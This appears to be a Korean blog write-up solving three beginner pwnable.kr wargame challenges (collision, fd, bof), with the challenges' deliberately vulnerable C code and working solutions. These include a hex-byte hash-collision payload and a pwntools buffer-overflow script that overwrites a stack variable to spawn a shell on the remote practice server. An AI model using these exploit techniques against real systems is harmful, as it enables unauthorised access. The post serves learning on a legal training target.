본문으로 바로가기

<collision>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
    int* ip = (int*)p;
    int i;
    int res=0;
    for(i=0; i<5; i++){
        res += ip[i];
    }
    return res;
}
 
int main(int argc, char* argv[]){
    if(argc<2){
        printf("usage : %s [passcode]\n", argv[0]);
        return 0;
    }
    if(strlen(argv[1]) != 20){
        printf("passcode length should be 20 bytes\n");
        return 0;
    }
 
    if(hashcode == check_password( argv[1] )){
        system("/bin/cat flag");
        return 0;
    }
    else
        printf("wrong passcode.\n");
    return 0;
}
 
cs

20글자를 입력받는다. 

int형은 4byte이므로 char형인 문자 하나가 4개씩들어간다.

즉, int형 ip배열원소 하나에 문자가 4개씩 5번들어간다는 것이다.

즉, hashcode / 5를 해서 값을 전달하면 된다는것.

 payload =  ./col `python -c 'print "\xc8\xce\xc5\x06"*4+"\xcc\xce\xc5\x06"'`





<fd>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
    if(argc<2){
        printf("pass argv[1] a number\n");
        return 0;
    }
    int fd = atoi( argv[1] ) - 0x1234;
    int len = 0;
    len = read(fd, buf, 32);
    if(!strcmp("LETMEWIN\n", buf)){
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }
    printf("learn about Linux file IO\n");
    return 0;
 
}
 
cs

fd란 파일디스크럽터로, 0이면 표준입력, 1이면 표준출력, 2면 표준 에러이다.

즉 우리는 LETMEWIN을 입력해야 하므로 fd를 0으로 맞추면 되는 문제이다.

0x1234는 10진수로 4660이므로, payload는 다음과 같다.




<bof>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}
 
cs

간단한 bof문제이다. 버퍼오버플로우가 가능하므로 0xdeadbeef가 들어가는 위치에다가 값을 0xcafebabe로 전달시켜주면 끝!

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
  
= remote("pwnable.kr",9000)
 
payload = ''
payload += 'A'*52
payload += p32(0xCAFEBABE)
 
r.sendline(payload)
 
r.interactive()        
cs





토들러 복습용으로 간단하게 3문제를 풀어보았다.

참 쉽죠?